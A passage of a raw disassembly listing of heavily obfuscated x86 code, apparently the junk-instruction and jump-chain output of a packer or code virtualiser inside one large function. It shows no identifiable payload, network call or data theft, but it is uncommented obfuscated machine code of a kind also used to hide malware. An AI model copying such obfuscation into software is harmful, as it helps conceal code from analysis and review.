[esp-40h+arg_38] jmp loc_597987 ; --------------------------------------------------------------------------- loc_59BE6B: ; CODE XREF: sub_580566+21DEEj sub ebp, 555B3825h jmp loc_5915D7 ; --------------------------------------------------------------------------- loc_59BE76: ; CODE XREF: sub_580566+1596Ej push ebp mov ebp, 217B2556h and ebp, 364725C2h sub ebp, 380D46B2h inc ebp jmp loc_59B60D ; --------------------------------------------------------------------------- loc_59BE8E: ; CODE XREF: sub_580566+1B7FCj add edi, ebp push ebx mov ebx, 73162A5Dh push esi mov esi, 706C2A58h and ebx, esi jmp loc_59B415 ; --------------------------------------------------------------------------- loc_59BEA3: ; CODE XREF: sub_580566+1846Fj mov ch, 0C8h xor ch, 0A3h mov bl, ch pop ecx dec bl jmp loc_5A0C3F ; --------------------------------------------------------------------------- loc_59BEB2: ; CODE XREF: sub_580566+22B64j shl dh, 4 sub dh, 2Bh sub esp, 2 mov word ptr [esp-1Eh+arg_16], dx xchg bh, byte ptr [esp-1Eh+arg_16+1] not bh jmp loc_59270E ; --------------------------------------------------------------------------- loc_59BECA: ; CODE XREF: sub_580566+1D11Aj mov ecx, [esp-1Eh+arg_16] add esp, 4 add ebp, edx add ebp, 77D22F81h jmp loc_594CC6 ; --------------------------------------------------------------------------- loc_59BEE0: ; CODE XREF: sub_580566+191B1j mov ecx, [esp-42h+arg_38+2] add esp, 4 add esp, 4 mov edi, [esp-4Ah+arg_40+2] push edx mov edx, esp jmp loc_59CF3E ; --------------------------------------------------------------------------- loc_59BEF4: ; CODE XREF: sub_580566+14E80j push edi push ebp jmp loc_5934D9 ; --------------------------------------------------------------------------- loc_59BEFB: ; CODE XREF: sub_580566+1F7B1j sub ebx, eax add ebx, 83006C0h push ecx jmp loc_59243D ; --------------------------------------------------------------------------- loc_59BF09: ; CODE XREF: sub_580566+1986Fj sub esi, 4 xchg esi, [esp-30h+arg_28] pop esp mov [esp-34h+arg_2C], eax sub esp, 4 push esp jmp loc_597A4A ; --------------------------------------------------------------------------- loc_59BF22: ; DATA XREF: sub_580566+10436o mov ax, word ptr [esp-2Ch+arg_24] push 24D3h mov [esp-28h+arg_20], eax sub esp, 4 mov [esp-24h+arg_1A+2], esp jmp loc_5A0F55 ; --------------------------------------------------------------------------- loc_59BF39: ; CODE XREF: sub_580566+1727Fj mov edx, [esp-52h+arg_48+2] push ebx mov ebx, esp jmp loc_5925A4 ; --------------------------------------------------------------------------- loc_59BF44: ; CODE XREF: sub_580566+21CA4j mov [esp-4Eh+arg_44+2], ebp sub esp, 4 mov [esp-4Ah+arg_40+2], ebx push 507C3885h push [esp-46h+arg_3C+2] mov ebx, [esp-42h+arg_38+2] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_59995F ; --------------------------------------------------------------------------- loc_59BF6C: ; CODE XREF: sub_580566+1D4A3j mov edx, 21912534h sub edx, ebx pop ebx sub esp, 4 jmp loc_5939E3 ; --------------------------------------------------------------------------- loc_59BF7F: ; CODE XREF: sub_580566+1B056j mov eax, [esp-50h+arg_48] add esp, 4 add ecx, ebx add ecx, 74306113h pop ebx sub esp, 4 mov [esp+0], esi push ebx jmp loc_5A40B0 ; --------------------------------------------------------------------------- loc_59BF9D: ; CODE XREF: sub_580566+12BB4j mov ebx, 6EE01D3h not ebx push ebp mov ebp, 6D2C3A06h or ebx, ebp jmp loc_59AC35 ; --------------------------------------------------------------------------- loc_59BFB1: ; CODE XREF: sub_580566+1C3F3j add esp, 4 push esi mov esi, esp push eax jmp loc_5A2B35 ; --------------------------------------------------------------------------- loc_59BFBD: ; CODE XREF: sub_580566+2136Dj mov ebx, [esp-3Eh+arg_34+2] add esp, 4 and ebx, 273015D8h add ebx, 0B12DD1Bh push ebx pop eax pop ebx mov esi, eax push [esp-46h+arg_3C+2] pop eax push edx mov edx, esp push eax mov eax, 0B3A69A9h shr eax, 5 push edi mov edi, 70A30511h jmp loc_596C78 ; --------------------------------------------------------------------------- loc_59BFEF: ; CODE XREF: sub_580566+21C4Cj mov eax, 27EB4B40h sub ebx, eax pop eax sub edi, 4A95CDDh push ebp mov ebp, 6A4F5FEEh add edi, ebp pop ebp add edi, ebx sub edi, 6A4F5FEEh add edi, 4A95CDDh mov ebx, [esp-3Eh+arg_34+2] jmp loc_5917E1 ; --------------------------------------------------------------------------- loc_59C01C: ; CODE XREF: sub_580566+22BBCj sub ebx, esi jmp loc_59F1EB ; --------------------------------------------------------------------------- loc_59C023: ; CODE XREF: sub_580566+166D4j add esp, 4 jmp loc_5941A2 ; --------------------------------------------------------------------------- loc_59C02B: ; CODE XREF: sub_580566+1A6E5j push 0FFEEF596h mov ebp, [esp-44h+arg_3C] add esp, 4 add eax, 37261E88h sub eax, ebp push edi mov edi, 6F571B4Fh shl edi, 8 add edi, 0FFFFFFFFh push ecx mov ecx, 3EA50B8Ch sub edi, ecx pop ecx push eax jmp loc_59C73E ; --------------------------------------------------------------------------- loc_59C05B: ; CODE XREF: sub_580566+2553Ej sub eax, 67FD7437h dec eax xor eax, 8C71AFB0h mov ebx, eax jmp loc_5A51BD ; --------------------------------------------------------------------------- loc_59C06D: ; CODE XREF: sub_580566+13C71j pop ebx sub ebx, 2F5975A7h push 38E4h mov [esp-14h+arg_A+2], edx mov edx, 0FBFA76F4h jmp loc_5930FB ; --------------------------------------------------------------------------- loc_59C086: ; CODE XREF: sub_580566+1E4B0j not ecx xor ecx, 8CC6860Dh mov edi, ecx pop ecx xor eax, edi jmp loc_5969FF ; --------------------------------------------------------------------------- loc_59C098: ; CODE XREF: sub_580566+1FFFDj push edi mov edi, 5BFF4A4Fh jmp loc_599A73 ; --------------------------------------------------------------------------- loc_59C0A3: ; CODE XREF: sub_580566+1C47Ej add edi, 22F56F11h sub edi, 0BBD5DF35h sub eax, 39511111h add eax, edi add eax, 39511111h pop edi push ebx jmp loc_59984D ; --------------------------------------------------------------------------- loc_59C0C2: ; CODE XREF: sub_580566+22E52j xor edx, 63F32B38h jmp loc_59EF77 ; --------------------------------------------------------------------------- loc_59C0CD: ; CODE XREF: sub_580566+17328j mov ch, bh pop ebx pop eax sub ch, 0FFh jmp loc_59AE91 ; --------------------------------------------------------------------------- loc_59C0D9: ; CODE XREF: sub_580566+20DDDj pop edx sub al, bl pop ebx push ecx mov ch, 77h add ch, 0E8h add bl, ch jmp loc_59198E ; --------------------------------------------------------------------------- loc_59C0EA: ; CODE XREF: sub_580566+19E21j pop eax add edi, 4 xchg edi, [esp-24h+arg_1A+2] pop esp sub ax, 273Eh add ax, 6C94h jmp loc_59BDAC ; --------------------------------------------------------------------------- loc_59C102: ; CODE XREF: sub_580566+22E74j add edx, 4 push 348Fh mov [esp-24h+arg_1A+2], edx jmp loc_5A3AF1 ; --------------------------------------------------------------------------- loc_59C115: ; CODE XREF: sub_580566+110BAj add esp, 4 shl ebx, 5 add ebx, 0D8D633Eh jmp loc_59B5A1 ; --------------------------------------------------------------------------- loc_59C129: ; CODE XREF: sub_580566+22FE0j add esi, 4 xchg esi, [esp-30h+arg_28] pop esp add ebx, 4 push ebp mov ebp, 2 jmp loc_5A224C ; --------------------------------------------------------------------------- loc_59C144: ; CODE XREF: sub_580566+20F2Ej push eax mov eax, 4 add edi, eax jmp loc_5930D1 ; --------------------------------------------------------------------------- loc_59C151: ; CODE XREF: sub_580566+19300j xor ebx, 678C407Fh add ebx, 0FEF6D822h sub eax, ebx pop ebx sub eax, edx push ebx mov ebx, 382C02D7h jmp loc_5A0ECB ; --------------------------------------------------------------------------- loc_59C16D: ; CODE XREF: sub_580566+23310j mov edi, 4 add edx, edi pop edi xchg edx, [esp-28h+arg_20] pop esp add esp, 4 pop [esp-30h+arg_28] mov esp, [esp-34h+arg_2C] mov ax, word ptr [esp-34h+arg_2C] sub esp, 4 jmp loc_59F3BB ; --------------------------------------------------------------------------- loc_59C191: ; CODE XREF: sub_580566+201D3j push 65FDh mov [esp-2Ch+arg_24], eax push 7DD5724Dh jmp loc_5A02E7 ; --------------------------------------------------------------------------- loc_59C1A3: ; CODE XREF: sub_580566+166ABj sub bl, 1 jmp loc_5A10D0 ; --------------------------------------------------------------------------- loc_59C1AB: ; CODE XREF: sub_580566+22BB1j mov cx, word ptr [esp-24h+arg_1A+2] push 32Eh mov [esp-20h+arg_16+2], ebx jmp loc_59B154 ; --------------------------------------------------------------------------- loc_59C1BC: ; CODE XREF: sub_580566+1F9E6j xor edx, [esp-20h+arg_16+2] jmp loc_5A0889 ; --------------------------------------------------------------------------- loc_59C1C4: ; CODE XREF: sub_580566+2253Dj pop dx push 2EEEh mov [esp-1Eh+arg_16], ebx push 769h mov [esp-1Ah+arg_12], ecx sub esp, 4 mov [esp-16h+arg_E], eax mov ah, 9Fh neg ah push edx mov dl, 54h jmp loc_5A240F ; --------------------------------------------------------------------------- loc_59C1EB: ; CODE XREF: sub_580566+10C36j mov esi, 738F7BE1h shr esi, 4 push eax jmp loc_5A1A39 ; --------------------------------------------------------------------------- push [esp-30h+arg_28] push [esp-2Ch+arg_24] pop ecx sub esp, 4 mov [esp-28h+arg_20], edx mov edx, esp push esi jmp loc_597ECB ; --------------------------------------------------------------------------- loc_59C20E: ; CODE XREF: sub_580566+246CBj push 3078h mov [esp-20h+arg_16+2], ebx push ebp mov ebp, 1E71162Ch mov ebx, 0B3A79C6h xor ebx, ebp mov ebp, [esp-1Ch+arg_12+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-18h+arg_E+2] pop esp jmp loc_59E602 ; --------------------------------------------------------------------------- loc_59C23A: ; CODE XREF: sub_580566+1EF9Aj pop ecx pop eax add edx, 2 jmp loc_59FF46 ; --------------------------------------------------------------------------- loc_59C244: ; CODE XREF: sub_580566+1A50Ej pop edx sub esi, 27C023BFh jmp loc_590E6A ; --------------------------------------------------------------------------- loc_59C250: ; CODE XREF: sub_580566+24490j mov eax, 919DFEBDh xor ecx, eax pop eax xor eax, ecx pop ecx push esi mov esi, 0BD653E5h jmp loc_599785 ; --------------------------------------------------------------------------- loc_59C266: ; CODE XREF: sub_580566+251DFj xor edx, 38F740h jmp loc_593A2A ; --------------------------------------------------------------------------- loc_59C271: ; CODE XREF: sub_580566+11698j sub edi, 44AD59C5h add ecx, edi mov edi, [esp-24h+arg_1A+2] add esp, 4 push edi mov edi, 2 push eax mov eax, 657321F9h add ecx, eax pop eax push ebp mov ebp, 19BF6875h dec ebp inc ebp sub ebp, 0DB0E666Dh sub ecx, ebp pop ebp jmp loc_593FDD ; --------------------------------------------------------------------------- loc_59C2A4: ; CODE XREF: sub_580566+126B6j mov dl, cl pop ecx jmp loc_59EB20 ; --------------------------------------------------------------------------- loc_59C2AC: ; CODE XREF: sub_580566+25388j add esi, 0C33A8DBAh mov ebp, esi mov esi, [esp-50h+arg_48] jmp loc_59811C ; --------------------------------------------------------------------------- loc_59C2BC: ; CODE XREF: sub_580566+235FDj push 1BBDh mov [esp-4Ch+arg_44], ecx sub esp, 4 push esp pop [esp-44h+arg_3C] add [esp-48h+arg_40], 4 pop ecx push ebp mov ebp, esp jmp loc_591269 ; --------------------------------------------------------------------------- loc_59C2DB: ; CODE XREF: sub_580566+16FECj xor edx, 73356929h and edx, 7ADA3497h xor edx, 3B8F2428h jmp loc_59FAF7 ; --------------------------------------------------------------------------- loc_59C2F2: ; CODE XREF: sub_580566+1D7E7j sub edx, ebx pop ebx and ebp, edx pop edx sub ebp, 0FFFFFFFFh push esi jmp loc_59979A ; --------------------------------------------------------------------------- loc_59C301: ; CODE XREF: sub_580566+18001j xor byte ptr [esp-3Eh+arg_34+3], dh xor dh, byte ptr [esp-3Eh+arg_34+3] xor byte ptr [esp-3Eh+arg_34+3], dh mov cx, word ptr [esp-3Eh+arg_34+2] jmp loc_59E066 ; --------------------------------------------------------------------------- loc_59C316: ; CODE XREF: sub_580566+1F16Dj mov ebp, 192A18CFh or ebp, 6D97C44h shl ebp, 1 jmp loc_5A1B3A ; --------------------------------------------------------------------------- loc_59C328: ; CODE XREF: sub_580566+13757j shl ebx, 1 inc ebx or ebx, 10D373EEh shl ebx, 1 jmp loc_59C396 ; --------------------------------------------------------------------------- loc_59C338: ; CODE XREF: sub_580566+14195j shl esi, 4 shl esi, 6 xor esi, 0D6E22F5Eh jmp loc_59A921 ; --------------------------------------------------------------------------- loc_59C349: ; CODE XREF: sub_580566+19381j add ecx, ebx pop ebx sub ecx, 66035E41h push edi mov edi, 56A3058Eh sub ecx, edi pop edi jmp loc_59D9C1 ; --------------------------------------------------------------------------- loc_59C360: ; CODE XREF: sub_580566+183D1j pop esp jmp loc_598C16 ; --------------------------------------------------------------------------- loc_59C366: ; CODE XREF: sub_580566+1C561j xchg eax, ecx not eax push ebx mov ebx, 6AEA2D89h shl ebx, 8 inc ebx xor ebx, 0CF49B217h add eax, 59B87B62h sub eax, ebx jmp loc_597CA1 ; --------------------------------------------------------------------------- loc_59C385: ; CODE XREF: sub_580566+2075Ej pop ebx pop edx jmp loc_5995FC ; --------------------------------------------------------------------------- loc_59C38C: ; CODE XREF: sub_580566+1BF56j push 5158h jmp loc_5A2AD4 ; --------------------------------------------------------------------------- loc_59C396: ; CODE XREF: sub_580566+1BDCDj sub ebx, 0FEB5A8ADh jmp loc_5921FE ; --------------------------------------------------------------------------- loc_59C3A1: ; CODE XREF: sub_580566+1989Fj mov eax, esp jmp loc_5A07D2 ; --------------------------------------------------------------------------- loc_59C3A8: ; CODE XREF: sub_580566+15610j add ebp, edi pop edi add ebp, 4 xchg ebp, [esp-3Ch+arg_34] jmp loc_593852 ; --------------------------------------------------------------------------- loc_59C3B9: ; CODE XREF: sub_580566+1A926j push 728Fh mov [esp-22h+arg_1A], ecx jmp loc_5A57D3 ; --------------------------------------------------------------------------- loc_59C3C6: ; CODE XREF: sub_580566+1D026j or ecx, 4E3670ADh dec ecx sub ecx, 0FFFFFFFFh dec ecx and ecx, 76D51AA9h sub ecx, 5A82B68Ch mov edx, ecx pop ecx push ebp mov ebp, 10EC48D4h xor edx, ebp jmp loc_59E540 ; --------------------------------------------------------------------------- loc_59C3ED: ; CODE XREF: sub_580566+120D0j push [esp-4Ah+arg_40+2] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A0484 ; --------------------------------------------------------------------------- loc_59C403: ; CODE XREF: sub_580566+115C7j add esp, 4 mov esi, [esp-40h+arg_38] jmp loc_59EF3E ; --------------------------------------------------------------------------- loc_59C40E: ; CODE XREF: sub_580566+1276Fj add esi, 4 jmp loc_5A1600 ; --------------------------------------------------------------------------- loc_59C419: ; CODE XREF: sub_580566+249CBj mov cl, 62h inc cl jmp loc_592BFC ; --------------------------------------------------------------------------- loc_59C422: ; CODE XREF: sub_580566+1135Aj pop edx sub ebx, edi jmp loc_59555C ; --------------------------------------------------------------------------- loc_59C42A: ; CODE XREF: sub_580566+21F35j add esp, 4 jmp loc_59D09B ; --------------------------------------------------------------------------- loc_59C435: ; CODE XREF: sub_580566+250A8j add ecx, ebx pop ebx pop esi xchg ecx, [esp-5Ch+arg_52+2] mov esp, [esp-5Ch+arg_52+2] movsx cx, al push small 3FB2h mov word ptr [esp-5Ah+arg_52], cx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C450: ; CODE XREF: sub_580566+239F8j mov edx, [esp-5Ah+arg_52] push ebx sub esp, 4 push esp jmp loc_59AE89 ; --------------------------------------------------------------------------- loc_59C45D: ; CODE XREF: sub_580566+21533j xor eax, ebx push 3ACh mov [esp-4Ah+arg_40+2], ebp mov ebp, 51966536h push ebx mov ebx, 1 push edx mov edx, 25C17F89h jmp loc_5A3829 ; --------------------------------------------------------------------------- loc_59C47D: ; CODE XREF: sub_580566+21559j add edx, edi pop edi push 626Ch jmp loc_59263B ; --------------------------------------------------------------------------- loc_59C48A: ; CODE XREF: sub_580566+13219j xchg bx, word ptr [esp-48h+arg_40] not bx xchg bx, word ptr [esp-48h+arg_40] mov si, word ptr [esp-48h+arg_40] add esp, 2 sub esp, 2 jmp loc_5A3E13 ; --------------------------------------------------------------------------- loc_59C4A4: ; DATA XREF: sub_580566+1028Eo push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp-4Ah+arg_40+2], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C4B3: ; CODE XREF: sub_580566+1AC72j mov eax, [esp-4Eh+arg_44+2] add esp, 4 jmp loc_59C38C ; --------------------------------------------------------------------------- loc_59C4C1: ; CODE XREF: sub_580566+1526Ej push esi jmp loc_59750D ; --------------------------------------------------------------------------- loc_59C4C7: ; CODE XREF: sub_580566+175C1j xchg edx, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] push edx mov edx, 513D69B2h jmp loc_59E32A ; --------------------------------------------------------------------------- loc_59C4D8: ; CODE XREF: sub_580566+227CEj sub ebx, 5DC346CCh push [esp-36h+arg_2C+2] jmp loc_591225 ; --------------------------------------------------------------------------- loc_59C4E6: ; CODE XREF: sub_580566+16819j mov eax, [esp-16h+arg_E] add esp, 4 add edx, 4 xor edx, [esp-1Ah+arg_12] xor [esp-1Ah+arg_12], edx xor edx, [esp-1Ah+arg_12] mov esp, [esp-1Ah+arg_12] loc_59C4FE: ; CODE XREF: sub_580566+187ABj push 21C6h mov [esp-16h+arg_E], ebx jmp loc_5A0E09 ; --------------------------------------------------------------------------- loc_59C50B: ; CODE XREF: sub_580566+120C8j inc edi push 7D40h mov [esp-4Ah+arg_40+2], esi jmp loc_598BD2 ; --------------------------------------------------------------------------- loc_59C519: ; CODE XREF: sub_580566+19582j shr edi, 8 jmp loc_591F68 ; --------------------------------------------------------------------------- loc_59C521: ; CODE XREF: sub_580566+22DA8j push esi mov esi, 4F9E4B45h sub esi, 2FA66740h push edi jmp loc_598016 ; --------------------------------------------------------------------------- loc_59C533: ; CODE XREF: sub_580566+1F2E1j add esi, eax pop eax add esi, 86E4EDFh add esi, ebp sub esi, 86E4EDFh push edi mov edi, 0B371DEAh shl edi, 1 inc edi jmp loc_597CED ; --------------------------------------------------------------------------- loc_59C552: ; CODE XREF: sub_580566+25599j mov ecx, esp add ecx, 4 jmp loc_598B04 ; --------------------------------------------------------------------------- loc_59C55F: ; CODE XREF: sub_580566+15BFAj push 4 jmp loc_5A5231 ; --------------------------------------------------------------------------- loc_59C569: ; CODE XREF: sub_580566+200F4j push edi push 4DFA249Eh pop edi dec edi sub edi, 0D621BC12h mov eax, edi pop edi inc eax inc eax jmp loc_5A2C1C ; --------------------------------------------------------------------------- loc_59C581: ; CODE XREF: sub_580566+16B37j shl ebx, 5 jmp loc_5971AE ; --------------------------------------------------------------------------- loc_59C589: ; CODE XREF: sub_580566+22A92j pop ebp push edx mov edx, 4 add ebp, edx jmp loc_5A5163 ; --------------------------------------------------------------------------- loc_59C597: ; CODE XREF: sub_580566+13395j mov word ptr [esp-2Ch+arg_24], si xor word ptr [esp-2Ch+arg_24], 7CF7h pop ax xor ax, 7CF7h mov bx, ax pop eax jmp loc_59A35F ; --------------------------------------------------------------------------- loc_59C5B0: ; CODE XREF: sub_580566+1760Fj push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_5A034A ; --------------------------------------------------------------------------- loc_59C5C4: ; CODE XREF: sub_580566+20C9Aj shl edx, 2 shl edx, 8 jmp loc_5A338E ; --------------------------------------------------------------------------- loc_59C5CF: ; CODE XREF: sub_580566+10DA8j add ecx, 4 add ecx, 4 xchg ecx, [esp-32h+arg_28+2] jmp loc_596FBC ; --------------------------------------------------------------------------- loc_59C5E0: ; CODE XREF: sub_580566+13203j add ecx, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_595663 ; --------------------------------------------------------------------------- loc_59C5F4: ; CODE XREF: sub_580566+17050j pop eax add ecx, edi pop edi add ecx, 3B842190h sub ecx, 3F15BEEh add ecx, esi jmp loc_597BD4 ; --------------------------------------------------------------------------- loc_59C60B: ; CODE XREF: sub_580566+10A47j xor esi, 11557D3Ch not esi xor esi, 8394A430h sub ebp, esi pop esi neg ebp jmp loc_59F829 ; --------------------------------------------------------------------------- loc_59C623: ; DATA XREF: sub_580566+104DEo mov ecx, [esp-52h+arg_48+2] push edi jmp loc_59D81B ; --------------------------------------------------------------------------- loc_59C62C: ; CODE XREF: sub_580566+17F28j pop esi add edx, eax jmp loc_59BC62 ; --------------------------------------------------------------------------- loc_59C634: ; CODE XREF: sub_580566+1482Aj mov [esp-2Eh+arg_24+2], eax mov ah, cl push 1C14h mov [esp-2Ah+arg_20+2], edx mov dh, ah mov bl, dh pop edx mov eax, [esp-2Eh+arg_24+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-2Ah+arg_20+2] jmp loc_592091 ; --------------------------------------------------------------------------- loc_59C660: ; CODE XREF: sub_580566+1FD3Fj add ebp, esi sub ebp, 79705EDBh mov esi, [esp-2Ah+arg_20+2] add esp, 4 add ebp, 4 xchg ebp, [esp-2Eh+arg_24+2] pop esp push 95Ah mov [esp-2Eh+arg_24+2], eax push 57D6h jmp loc_5912FD ; --------------------------------------------------------------------------- loc_59C68A: ; CODE XREF: sub_580566+1258Cj pop [esp-24h+arg_1A+2] mov esp, [esp-28h+arg_20] inc word ptr [esp-28h+arg_20] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C69A: ; CODE XREF: sub_580566+1A979j mov dl, ch not dl mov ch, dl pop edx shl ch, 2 xor ch, 0C9h jmp loc_5997B1 ; --------------------------------------------------------------------------- push [esp-46h+arg_3C+2] mov ecx, [esp-42h+arg_38+2] push ebp push esp mov ebp, [esp-3Ah+arg_30+2] add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp-3Eh+arg_34+2] xor [esp-3Eh+arg_34+2], ebp xor ebp, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] push 2BA7h jmp loc_5A2359 ; --------------------------------------------------------------------------- loc_59C6D9: ; CODE XREF: sub_580566+13ED4j push ecx push 68B840E3h pop ecx add ecx, 2E522F97h not ecx xchg ebx, ecx jmp loc_59B203 ; --------------------------------------------------------------------------- loc_59C6EF: ; CODE XREF: sub_580566+20015j xor cx, di xor di, cx jmp loc_594080 ; --------------------------------------------------------------------------- loc_59C6FA: ; CODE XREF: sub_580566+16B0Aj sub eax, 45A51CD0h jmp loc_5A0AE2 ; --------------------------------------------------------------------------- loc_59C704: ; CODE XREF: sub_580566+12295j push eax mov eax, 73F147Ch jmp loc_5A24AA ; --------------------------------------------------------------------------- loc_59C70F: ; CODE XREF: sub_580566+1F998j sub ebx, 0CC1279FBh add esi, ebx pop ebx jmp loc_5A449A ; --------------------------------------------------------------------------- loc_59C71D: ; CODE XREF: sub_580566+1F548j add ecx, 0FFFFFFFFh xchg ebp, ecx not ebp xchg ebp, ecx push edx push eax mov eax, 58EE7D88h mov edx, eax jmp loc_59DE23 ; --------------------------------------------------------------------------- loc_59C734: ; CODE XREF: sub_580566+1B355j add dl, 51h mov bl, dl jmp loc_595F8C ; --------------------------------------------------------------------------- loc_59C73E: ; CODE XREF: sub_580566+1BAF0j mov eax, 306012FEh and edi, eax jmp loc_5A0B4F ; --------------------------------------------------------------------------- loc_59C74A: ; CODE XREF: sub_580566+14618j push ebp push [esp-3Eh+arg_38+2] pop ebp pop [esp-3Eh+arg_34+2] pop esp jmp loc_59CE98 ; --------------------------------------------------------------------------- loc_59C759: ; CODE XREF: sub_580566+1EC12j shl eax, 7 and eax, 6C5F39B6h jmp loc_59BC7E ; --------------------------------------------------------------------------- loc_59C766: ; CODE XREF: sub_580566+15E41j mov bl, cl pop ecx pop eax sub al, 0C6h add al, 64h jmp loc_596FF7 ; --------------------------------------------------------------------------- loc_59C773: ; CODE XREF: sub_580566+1568Cj pop ebx add esi, 2 xor esi, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], esi xor esi, [esp-24h+arg_1A+2] pop esp ror byte ptr [esp-28h+arg_20], cl pushf jmp loc_59668D ; --------------------------------------------------------------------------- loc_59C78D: ; CODE XREF: sub_580566+2091Aj and ebx, 560B579Bh xor ebx, 1EB3274Ch jmp loc_5A3758 ; --------------------------------------------------------------------------- loc_59C79E: ; CODE XREF: sub_580566+1FAC6j push esi jmp loc_5923AB ; --------------------------------------------------------------------------- sub esp, 4 mov [esp-1Ch+arg_12+2], edx push ebp mov ebp, 3CF84CBCh not ebp and ebp, 52087504h and ebp, 4D6046B3h xor ebp, 41D54733h jmp loc_5A28B0 ; --------------------------------------------------------------------------- loc_59C7C9: ; CODE XREF: sub_580566+1DAA9j xchg esi, [esp-18h+arg_E+2] jmp loc_5A2E2B ; --------------------------------------------------------------------------- loc_59C7D1: ; CODE XREF: sub_580566+16822j mov [esp-1Ah+arg_12], esi push 15h jmp loc_5A142A ; --------------------------------------------------------------------------- loc_59C7DE: ; CODE XREF: sub_580566+250D6j mov ecx, 487144A7h or eax, ecx pop ecx sub eax, 61B11073h add eax, 1A5ADB2Eh sub eax, 1 not eax jmp loc_59145E ; --------------------------------------------------------------------------- loc_59C7FA: ; CODE XREF: sub_580566+2496Dj mov [esp-1Ah+arg_12], ebx push eax mov eax, 743B10ECh mov ebx, 2F303254h xor ebx, eax jmp loc_59D16D ; --------------------------------------------------------------------------- loc_59C80F: ; CODE XREF: sub_580566+22D27j xor edi, 13EF6BFAh add eax, edi pop edi jmp loc_592D33 ; --------------------------------------------------------------------------- loc_59C81D: ; CODE XREF: sub_580566+18429j mov eax, [esp-1Eh+arg_16] jmp loc_595ED9 ; --------------------------------------------------------------------------- loc_59C825: ; CODE XREF: sub_580566+11748j sub edx, 7EF756B1h add edx, 9A5B52h push ecx mov ecx, 0 add ecx, 15254483h jmp loc_5A56AC ; --------------------------------------------------------------------------- loc_59C842: ; CODE XREF: sub_580566+1292Cj shr esi, 2 neg esi jmp loc_5913F6 ; --------------------------------------------------------------------------- loc_59C84C: ; CODE XREF: sub_580566+11E4Aj shr esi, 6 add esi, 32BC3A4Bh xor esi, 0B840770h xor esi, 72E8785Ch sub esi, 3995AFA5h sub eax, esi pop esi push [esp-2Eh+arg_24+2] jmp loc_5A58BE ; --------------------------------------------------------------------------- loc_59C872: ; CODE XREF: sub_580566+219B2j pop ecx push [esp-2Eh+arg_24+2] pop eax jmp loc_596EEB ; --------------------------------------------------------------------------- loc_59C87C: ; CODE XREF: sub_580566+15DDBj add edi, edx sub edi, 3A1C7A5Bh mov edx, [esp-20h+arg_16+2] jmp loc_596D18 ; --------------------------------------------------------------------------- loc_59C88C: ; CODE XREF: sub_580566+16CD8j mov edi, esp add edi, 4 jmp loc_59A600 ; --------------------------------------------------------------------------- loc_59C899: ; CODE XREF: sub_580566+174DFj push ebp mov ebp, 34BB40AEh jmp loc_598153 ; --------------------------------------------------------------------------- loc_59C8A4: ; CODE XREF: sub_580566+10CA7j push ebx jmp loc_59F03D ; --------------------------------------------------------------------------- loc_59C8AA: ; CODE XREF: sub_580566+18303j mov [esp-2Ch+arg_24], edx jmp loc_597D9E ; --------------------------------------------------------------------------- loc_59C8B2: ; CODE XREF: sub_580566+13E47j xor ebp, 394E26E7h and ebp, 498310B2h dec ebp and ebp, 333850D3h add ebp, 1C095ABAh add edi, ebp pop ebp add edi, eax sub edi, 1D095B0Dh jmp loc_59FDB4 ; --------------------------------------------------------------------------- loc_59C8DB: ; CODE XREF: sub_580566+177E2j push ecx mov ecx, 4 mov esi, ecx mov ecx, [esp-46h+arg_3C+2] add esp, 4 add edi, 5B537490h add edi, esi sub edi, 5B537490h push [esp-4Ah+arg_40+2] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-46h+arg_3C+2] pop esp push eax mov eax, 2 add edi, 623CBDh jmp loc_5A52FB ; --------------------------------------------------------------------------- loc_59C91C: ; CODE XREF: sub_580566+1E518j sub ecx, 496843BFh push ecx pop esi pop ecx mov eax, [esp-4Ah+arg_40+2] add esp, 4 pop edi add eax, esi push [esp-52h+arg_48+2] pop esi add esp, 4 push 228Eh mov [esp-52h+arg_48+2], esi mov esi, 10324A27h or esi, 6DE92402h sub esi, 1C1F6DBEh jmp loc_5A311C ; --------------------------------------------------------------------------- loc_59C956: ; CODE XREF: sub_580566+1B5EAj mov esp, [esp-3Ah+arg_30+2] jmp loc_59BFB1 ; --------------------------------------------------------------------------- loc_59C95E: ; CODE XREF: sub_580566+16F47j xor edi, eax mov eax, [esp-3Ch+arg_34] add esp, 4 sub esi, 36A96634h sub esi, edi push eax mov eax, 453256CCh jmp loc_593A92 ; --------------------------------------------------------------------------- loc_59C979: ; CODE XREF: sub_580566+20B10j xchg ebx, [esp-3Ch+arg_34] pop esp sub byte ptr [esp-40h+arg_38], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C986: ; CODE XREF: sub_580566+2152Dj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C98B: ; CODE XREF: sub_580566+14A7Cj sub eax, 0E038A860h push ecx jmp loc_5A42B9 ; --------------------------------------------------------------------------- loc_59C996: ; CODE XREF: sub_580566+16D29j not [esp-4Eh+arg_44+2] push [esp-4Eh+arg_44+2] jmp loc_5992DB ; --------------------------------------------------------------------------- loc_59C9A1: ; CODE XREF: sub_580566+130CDj sub ah, 0A9h sub cl, 0CCh sub cl, ah add cl, 0CCh pop eax push eax jmp loc_596F59 ; --------------------------------------------------------------------------- loc_59C9B3: ; CODE XREF: sub_580566+19D8Ej pop eax push 116h mov [esp-42h+arg_38+2], edi sub [esp-42h+arg_38+2], 3DB439C4h pop ebx jmp loc_5927C9 ; --------------------------------------------------------------------------- loc_59C9C9: ; CODE XREF: sub_580566+238F4j xor edi, [esp-46h+arg_3C+2] mov esp, [esp-46h+arg_3C+2] mov word ptr [esp-46h+arg_3C+2], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C9D8: ; CODE XREF: sub_580566+19358j 